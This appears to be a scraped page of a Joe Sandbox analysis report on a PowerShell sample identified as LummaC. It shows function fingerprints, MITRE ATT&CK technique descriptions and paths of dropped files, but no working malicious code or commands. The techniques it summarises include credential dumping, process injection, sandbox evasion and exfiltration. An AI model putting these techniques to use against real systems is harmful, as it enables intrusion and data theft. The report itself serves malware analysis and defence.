Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f73a77fd1a6835f9382ec6bb1d4e9927d2452bf87df1c71940110b49671cd26a
Instruction ID: d9092d871c120d1865e421bbe01999ac3649a25d3f0aca10e6a3c51f8fde8313
Opcode Fuzzy Hash: f73a77fd1a6835f9382ec6bb1d4e9927d2452bf87df1c71940110b49671cd26a
Instruction Fuzzy Hash: F64159B4A0050ADFCB09DF99C1989AAFBB1FF48314B11855AD419AB3A4C732FC90CB94

Function 00E841A3 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3747108965.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eefa0be08f3c0d7f79d3874747fd584a9fa19306d8307f10c0959aa199b8010
Instruction ID: 923989ea49d2f7b0c8422571fddb4f40ca4cc3fe20135d9937c83b19b9084f0d
Opcode Fuzzy Hash: 4eefa0be08f3c0d7f79d3874747fd584a9fa19306d8307f10c0959aa199b8010
Instruction Fuzzy Hash: C54128B4A00506DFCB09DF99C5989AEFBB1FF48314B11855AD519AB3A4C732FC90CBA4

Function 00E83010 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3747108965.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a0efc0b1fc490fda09436a7c39c3c2271c0083eb5084b8b2eea6d439328d3d3
Instruction ID: 7a218ee9d75b9d2362dda1bf45f0f5da15fcbc6bb817d6f47ef9eeb45cc95284
Opcode Fuzzy Hash: 4a0efc0b1fc490fda09436a7c39c3c2271c0083eb5084b8b2eea6d439328d3d3
Instruction Fuzzy Hash: E621D3B4E052059FCB00DFACC8949AABBF4FF59710B15859AD809EB352D335ED45CBA0

Function 00E82FFF Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3747108965.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20b2caccfc406cecad71c2e71043119c59b9a1a5481e11b0da303a6fecaa0f24
Instruction ID: 77cdc9952a6a41afdff252439cc2129809e7272c287dd81389f3d66460f32dba
Opcode Fuzzy Hash: 20b2caccfc406cecad71c2e71043119c59b9a1a5481e11b0da303a6fecaa0f24
Instruction Fuzzy Hash: 72210B74A042599FCB00DFACD5909AAFBF5FF49310B15859AE809AB352C731ED41CBA1

Function 00B1D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3745511134.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b1d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc4693fcea188794c927eb758247663fbba667fe3d4ef1b75a7e24543184548
Instruction ID: 602e85a3331c1c89c5aa5c39d70dbf465fc3cbf3eaa9d90a013759c2afbd90f7
Opcode Fuzzy Hash: 8cc4693fcea188794c927eb758247663fbba667fe3d4ef1b75a7e24543184548
Instruction Fuzzy Hash: 2E018C7240D3C09FD7124B258C98692BFA8EF57224F1984DBE9888F2A3C2695C85C772

Function 00B1D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3745511134.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b1d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb8c5bee8ad1f8d665ce6ec2aa9984cd3059282bcd821d3234b3b5557cf5168
Instruction ID: c719692e0d3839190c1a8e16705039eda08398f90e4e8893d4b116cee4d5688e
Opcode Fuzzy Hash: acb8c5bee8ad1f8d665ce6ec2aa9984cd3059282bcd821d3234b3b5557cf5168
Instruction Fuzzy Hash: 0A01F7315043009AD7208B19CDC8BA7BFD8EF89324F28C4A9ED480A246C2799881C6B1

Function 00E84494 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3747108965.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24daf31f1f33556acd4e3768f7cc557a91cebbbd5b8eb902ae424b5d7fe51dd9
Instruction ID: ce64985b37740875950e213a8f52dacd9c5223e8755f475da2075280a4f9b180
Opcode Fuzzy Hash: 24daf31f1f33556acd4e3768f7cc557a91cebbbd5b8eb902ae424b5d7fe51dd9
Instruction Fuzzy Hash: E3F0F075A043469FCB05DF58C8901A9FB71FF89314B1480DBD898E77A2C7369C56CBA0

Function 00E84446 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3747108965.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b20b442492acfb87f31802d3282e3fd431e1e3ed4cab6f7dd00d2f7533af458
Instruction ID: 2a312bac32dc9cfab0ec92ec756a5cd50c9f44a15e5515724bef55457b75e6ae
Opcode Fuzzy Hash: 7b20b442492acfb87f31802d3282e3fd431e1e3ed4cab6f7dd00d2f7533af458
Instruction Fuzzy Hash: CFF01C75A001059FCB14DF8DD8805ADF7B6FF88324B248559D999A3A51CB36AC52CB90

Non-executed Functions

Function 07140DF8 Relevance: 9.2, Strings: 7, Instructions: 476COMMON

Download Yara Rule

Strings

4']q, xrefs: 0714105F
$]q, xrefs: 07140E30
$]q, xrefs: 07140E3C
$]q, xrefs: 07140E0A
tP]q, xrefs: 07140E81
4']q, xrefs: 07141069
tP]q, xrefs: 07140E75

Memory Dump Source

Source File: 00000010.00000002.3774315025.0000000007140000.00000040.00000800.00020000.00000000.sdmp, Offset: 07140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7140000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-108373575
Opcode ID: a0b0ec9a0d7a18ecc2b7efd3eeab421adbe4a7e83e29d40f32383b50d2073dc1
Instruction ID: 8b5f8b95b1fd64199e4bf3ebd5a460541cb0de7feb37b2591b10795a0b177695
Opcode Fuzzy Hash: a0b0ec9a0d7a18ecc2b7efd3eeab421adbe4a7e83e29d40f32383b50d2073dc1
Instruction Fuzzy Hash: 42F178B170420A9FC7158B69C41066AFBF6EFC5320F2484BAD905DB291DF35CD95C7A1

Function 07140148 Relevance: 9.1, Strings: 7, Instructions: 315COMMON

Download Yara Rule

Strings

$]q, xrefs: 07140350
tP]q, xrefs: 07140395
4']q, xrefs: 07140257
4']q, xrefs: 0714024B
tP]q, xrefs: 071403A1
$]q, xrefs: 0714032A
$]q, xrefs: 0714035C

Memory Dump Source

Source File: 00000010.00000002.3774315025.0000000007140000.00000040.00000800.00020000.00000000.sdmp, Offset: 07140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7140000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-108373575
Opcode ID: d44da0a04c30c77d4f1a6cd96c149922e2194e5ef593b52cdcf4735c27670835
Instruction ID: 4e907d3c8edd1400f25f3729e75eb56ad5ab7927ea00384e913617c68d4de582
Opcode Fuzzy Hash: d44da0a04c30c77d4f1a6cd96c149922e2194e5ef593b52cdcf4735c27670835
Instruction Fuzzy Hash: B4A16AB17043168FC7164B7A841066ABFF6AFCA610F2984BBDA45CB2D1DB35CC51C7A1

Function 07142C10 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07142C6C
$]q, xrefs: 07142C3E
$]q, xrefs: 07142C22
$]q, xrefs: 07142C78

Memory Dump Source

Source File: 00000010.00000002.3774315025.0000000007140000.00000040.00000800.00020000.00000000.sdmp, Offset: 07140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7140000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: feffd7c188713f9a77deccd56fc37ea140de79ecd5b63080189561a77d255d20
Instruction ID: 599c8dfee65c85cb7beeebbd2d76c00143e79a6fe331cba0110c9a3af6555ce3
Opcode Fuzzy Hash: feffd7c188713f9a77deccd56fc37ea140de79ecd5b63080189561a77d255d20
Instruction Fuzzy Hash: DD21F9B13602065BEB3D566E8C50B27AADABBD5B15F24C43AB945CB3C1CE75C881C361

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\7556b384

C:\Users\user\AppData\Local\Temp\81f039d3

C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_awkv2nex.itb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bkpo5ao1.qs3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2euv5w1.dyz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0nbo0lt.5si.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ih5fp5hi.0ke.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kezlleha.eo0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtxdik2p.ph1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yx3ykwnr.iwt.ps1

C:\Users\user\AppData\Local\Temp\nmovbfii

C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe

Windows Analysis Report
file.ps1

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre